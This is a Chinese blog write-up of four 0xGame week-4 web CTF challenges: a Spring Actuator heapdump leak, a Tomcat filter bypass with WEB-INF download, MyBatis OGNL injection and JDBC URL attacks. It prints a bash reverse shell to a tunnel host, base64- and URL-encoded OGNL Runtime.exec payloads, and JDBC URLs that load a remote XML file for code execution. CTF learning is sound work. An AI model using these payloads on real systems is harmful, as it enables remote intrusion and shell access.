0xGame week4-WEB wp

这篇具有很好参考价值的文章主要介绍了0xGame week4-WEB wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0xGame个人结语

完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。0xGame虽然也没做出来几道(大嘘),但是一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~

来看最后一周,全是java框架,麻了。

spring

整体不难,hint把解题方法基本写脸上了,网上一搜就是。

【精选】Springboot信息泄露以及heapdump的利用_heapdump漏洞_李白你好的博客-CSDN博客

Springboot之Actuator的渗透测试和漏洞修复_actuator/heapdump_抹香鲸之海的博客-CSDN博客

【精选】Springboot之Actuator信息泄露漏洞利用_actuator/env_Java海的博客-CSDN博客

读env看到这里,那说明我们应该读app.password密码,这个密码就是flag。

0xGame week4-WEB wp

用一个java的visualvm工具处理heapdump文件查看泄露信息,但是高版本java没有这个内置的工具了,要去github上自己下。

然后就是OQL里面搜,payload都是现成的(但是另外有个toString的payload我梭不出来,放弃了..)

select s from java.util.LinkedHashMap$Entry s where /app.password/.test(s.key)

找value就有了:

0xGame week4-WEB wp

auth_bypass

点进去两眼一抹黑,直接看hint:

0xGame week4-WEB wp

Tomcat Filter 绕过 + Java 任意⽂件下载搭配 WEB-INF ⽬录的利⽤。
根据官方wp的说法,从⽹上的⽂章可以知道, 直接通过 getRequestURI() 得到的 url 路径存在⼀些问题, ⽐如不会⾃动 urldecode, 也不会进⾏标准化 (去除多余的 / 和 .. )
 
看看附件的源码有什么东西先:

0xGame week4-WEB wp

首先是这里的/download路由有过滤,把..给ban掉不让路径穿越,而且/download不能直接用,但是搜了下就知道两个/就可以绕过了,即//download。

0xGame week4-WEB wp

这是另一个DownloadServlet的文件,结合hint就知道可以实现任意目录下载。

0xGame week4-WEB wp

测试一下发现,这个可以下载avatar.jpg,但是不能直接下flag。

0xGame week4-WEB wp

题目说是war打包的,这个 war 其实也就相当于压缩包, Tomcat 在部署 war 的时候会将其解压, ⽽压缩包内会存在⼀个 WEB-INF ⽬录,⽬录⾥⾯包含编译好的 .class ⽂件以及 web.xml (保存路由和类的映射关系)

网上搜一下:

0xGame week4-WEB wp

我们下载这个web.xml试试:

(%2e就是 . )

0xGame week4-WEB wp

 

0xGame week4-WEB wp

注意到这里的EvilServlet,映射的路由为 /You_Find_This_Evil_Servlet_a76f02cb8422

同时看到这里可以用来构造url:

0xGame week4-WEB wp

看了下下面的博客,了解到如何利用映射路由下载.class文件:

WEB-INF/web.xml泄露漏洞及其利用-CSDN博客

0xGame week4-WEB wp

使用java反编译工具打开class字节码文件,这里我用的是jd-GUI:

0xGame week4-WEB wp

Evil_Cmd_Arguments_fe37627fed78   就是我们POST传参的参数名,这就用上了前面的映射路由,显然exec可以RCE。

后面看了官方wp才知道没有回显,还好我直接反弹shell😛:

因为url传参直接传命令传不进去,所以建议先转一个base64然后url编码:

//反弹shell
bash -c "bash -i >& /dev/tcp/server.natappfree.cc/41415 0>&1"

//url编码后+echo命令结合执行:
//先将bash -i 部分base64,然后url编码
bash%20-c%20{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}

0xGame week4-WEB wp

 

0xGame week4-WEB wp

0xGame week4-WEB wp

0xGame week4-WEB wp

也可以用这些脚本网站一键生成:

java.lang.Runtime.exec() Payload Workarounds - @Adminxe

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

官方wp给出了解释原因:

Java 命令执行之我见-安全客 - 安全资讯平台 (anquanke.com)

Java下多种执行命令的姿势及问题 - Y4er的博客

 

唉后面俩题就只能乖乖打复现了,真不会啊....

YourBatis

0xGame week4-WEB wp

java有个框架叫Mybatis,应该就是这个题目的知识点。

考点: MyBatis 低版本 OGNL 注⼊。
先下载附件,得到一个二进制jar包。
关注pom.xml:
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>
存在 mybatis 依赖, 版本 2.1.1, 该版本存在 OGNL 表达式注⼊。
 
贴一个官方的注入原理链接:
Mybatis 从SQL注入到OGNL注入 - panda | 热爱安全的理想少年 (cnpanda.net)
奇安信攻防社区-从一道CTF题浅谈MyBatis与Ognl的那些事 (butian.net)
 
接下来要对附件这个jar包反编译,题目让我们不用jd-GUI用jadx-GUI或者IDAE,但是没懂原理,官方wp解释了一下:

0xGame week4-WEB wp

找到sql注入关键点:

0xGame week4-WEB wp

看了参考文章就知道了,这里的username是被直接拼进去的,也就是说有SQL注入/OGNL注入漏洞。

用参考文章的payload,直接反弹shell:

${@java.lang.Runtime@getRuntime().exec("bash -c{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}")}

但官方还有一个hint就是{ }会失败,解释如下:

0xGame week4-WEB wp

0xGame week4-WEB wp

也就是把这个RCE命令整体再base64一下,得到最终payload:

0xGame week4-WEB wp

${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzl6WlhKMlpYSXVibUYwWVhCd1puSmxaUzVqWXk4ME1UUXhOU0F3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

再url全编码:(这里用了个网上搜的脚本)

0xGame week4-WEB wp

源码里能找到传参路由是/user,参数名是username,方式是get:

http://124.71.184.68:50043/user?username=%24%7b%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%40%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%27%59%6d%46%7a%61%43%41%74%59%79%42%37%5a%57%4e%6f%62%79%78%5a%62%55%5a%36%59%55%4e%42%64%47%46%54%51%53%74%4b%61%55%46%32%57%6b%64%57%4d%6b%77%7a%55%6d%70%6a%51%7a%6c%36%57%6c%68%4b%4d%6c%70%59%53%58%56%69%62%55%59%77%57%56%68%43%64%31%70%75%53%6d%78%61%55%7a%56%71%57%58%6b%34%4d%45%31%55%55%58%68%4f%55%30%46%33%55%47%6c%5a%65%48%31%38%65%32%4a%68%63%32%55%32%4e%43%77%74%5a%48%31%38%65%32%4a%68%63%32%67%73%4c%57%6c%39%27%29%29%29%7d

在环境变量里找到flag:

0xGame week4-WEB wp

TestConnection

0xGame week4-WEB wp

考点: MySQL / PostgreSQL JDBC URL Attack
JDBC 就是 Java ⽤于操作数据库的接⼝, 通过⼀个统⼀规范的 JDBC 接⼝可以实现同⼀段代码兼容不同类型数据库的访问。
JDBC URL 就是⽤于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value
db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite
db-name 是要使⽤的数据库名param 是要传⼊的参数, ⽐如 user, password, 指定连接时使⽤的编码类型等等
当 jdbc url 可控时, 如果⽬标⽹站使⽤了旧版的数据库驱动, 在特定情况下就可以实现 RCE

参考文章:

MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) - 先知社区 (aliyun.com)

奇安信攻防社区-PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析 (butian.net)

 

查看pom.xml:

0xGame week4-WEB wp

尤其是:

0xGame week4-WEB wp

0xGame week4-WEB wp

0xGame week4-WEB wp

 

⼀些 mysql jdbc 利⽤⼯具:
4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用) (github.com)
rmb122/rogue_mysql_server: A rouge mysql server supports reading files from most mysql libraries of multiple programming languages. (github.com)

0xGame week4-WEB wp

/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql:///test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}&password=123

怎么越做越有点逆向的味道了???

用这个方法没做出来,但还有个postgresql的方法,再挂个隧道映射一下公网ip,然后写入XML:

0xGame week4-WEB wp

0xGame week4-WEB wp

payload:

/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://c8zqff.natappfree.cc/poc.xml&username=123&password=123

参数部分url全编码:

0xGame week4-WEB wp

/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%63%38%7a%71%66%66%2e%6e%61%74%61%70%70%66%72%65%65%2e%63%63%2f%70%6f%63%2e%78%6d%6c&username=123&password=123

环境变量拿下flag:

0xGame week4-WEB wp文章来源地址https://www.toymoban.com/news/detail-746998.html

到了这里,关于0xGame week4-WEB wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 算法刷题 week4

    1.斐波那契数列 题目 题解 (递推 + 滚动变量) O(n) 这题的数据范围很小,我们直接模拟即可。 当数据范围很大时,就需要采用其他方式了,可以参考 求解斐波那契数列的若干方法 。 F(0) = 0, F(1) = 1 F(N) = F(N - 1) + F(N - 2), 其中 N 1. 斐波那契数列由 0 和 1 开始,之后的斐波那契数就

    2024年02月07日
    浏览(38)
  • 安全与认证Week4

    目录 目录 Web Security (TLS/SSL) 各层安全协议 Transport Layer Security (TLS)传输层安全性(TLS) SSL和TLS的联系与区别 TLS connectionsession 连接与会话 题目2答案点 TLS ArchitectureTLS架构(5个协议) 题目1答案点 Handshake Protocol(握手协议) 其它几个协议,包括后面的示例 题目10答案点 Handshake

    2024年02月02日
    浏览(39)
  • HGame 2023 Week4 部分Writeup

    文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup 第四周的比赛难度较高,同时也出现了不少颇为有趣的题目。可惜笔者比较菜,做出来的题目数量并不是很多,不过里面确实有几道题值得好好讲讲。不多废话了,抓紧端上来吧(喜)。 注:本周C

    2024年02月03日
    浏览(50)
  • [BUUCTF NewStarCTF 2023 公开赛道] week4 crypto/pwn

    再补完这个就基本上完了. Schmidt-Samoa密码系统看上去很像RSA,其中N=pqq, 给的e=N给了d NTRU又一个格的基本应用   当E.order() == p时   p-1光滑时的分解 此题先是p-1光滑分解,然后是e=3*0x10000先求3次根再用rabin求16次    求误差,虽然被分成3个数组,但本质上是一个,可以连到一起求解. 

    2024年02月07日
    浏览(38)
  • 剑指offer题解合集——Week4day2

    题目链接:二叉树中和为某一值的路径 AC代码 思路: 整体思路

    2024年01月15日
    浏览(46)
  • 前端架构师-week4-脚手架命令注册和执行过程开发

    基于 Commander 完成脚手架命令注册和命令执行过程开发 ·如何设计高性能脚手架(缓存 + 多进程 实现这一点) ·Node 多进程开发 ·javascript 面向对象的实战技巧(达到可扩展 高复用) ·图解高性能脚手架架构设计方法 ·封装通用的 Package 和 Command 类 ·基于缓存 + Node 多进程实现

    2024年02月01日
    浏览(56)
  • 前端架构师-week4-封装通用的npm包管理类Package

    目录 脚手架命令本地调试功能支持 动态执行库exec模块创建 创建 npm 模块通用类 Package Package 类的属性、方法定义及构造函数逻辑开发 Package 类获取入口文件路径功能开发(pkg-dir应用+解决不同操作系统路径兼容问题)  利用 npminstall 库安装 npm 模块 Package 类判断模块是否存在

    2024年02月03日
    浏览(42)
  • 【北邮国院大三下】Cybersecurity Law 网络安全法 Week4

    北邮国院大三电商在读,随课程进行整理知识点。仅整理PPT中相对重要的知识点,内容驳杂并不做期末突击复习用。个人认为相对不重要的细小的知识点不列在其中。如有错误请指出。转载请注明出处,祝您学习愉快。 编辑软件为Effie,如需要pdf/docx/effiesheet/markdown格式的文件

    2024年02月11日
    浏览(74)
  • NEUQ-acm第二期训练Week4——代码源div2

    RSA算法选择两个不同质数的积作为模数。现在有两个正整数 A,B,如果它们是不同的质数,则判定为 full credit;否则,如果A⋅B不是任意大于1的整数的平方的整数倍,则判定 partial credit;否则判定为no credit。 一行两个正整数 A,B。 full credit 或 partial credit 或 no credit。 数据规模

    2024年02月16日
    浏览(36)
  • NewStarCTF2023week4-midsql(利用二分查找实现时间盲注攻击)

    大致测试一下,发现空格被过滤了 使用内联注释/**/绕过,可行 使用%a0替代空格,也可以  再次测试发现等号也被过滤,我们使用 like 代替 (我最开始以为是and被过滤,并没有,如果是and或者or被过滤我们也可以使用 和 || 替代) 但是这里尝试了很多都只返回一个页面,没有

    2024年02月07日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包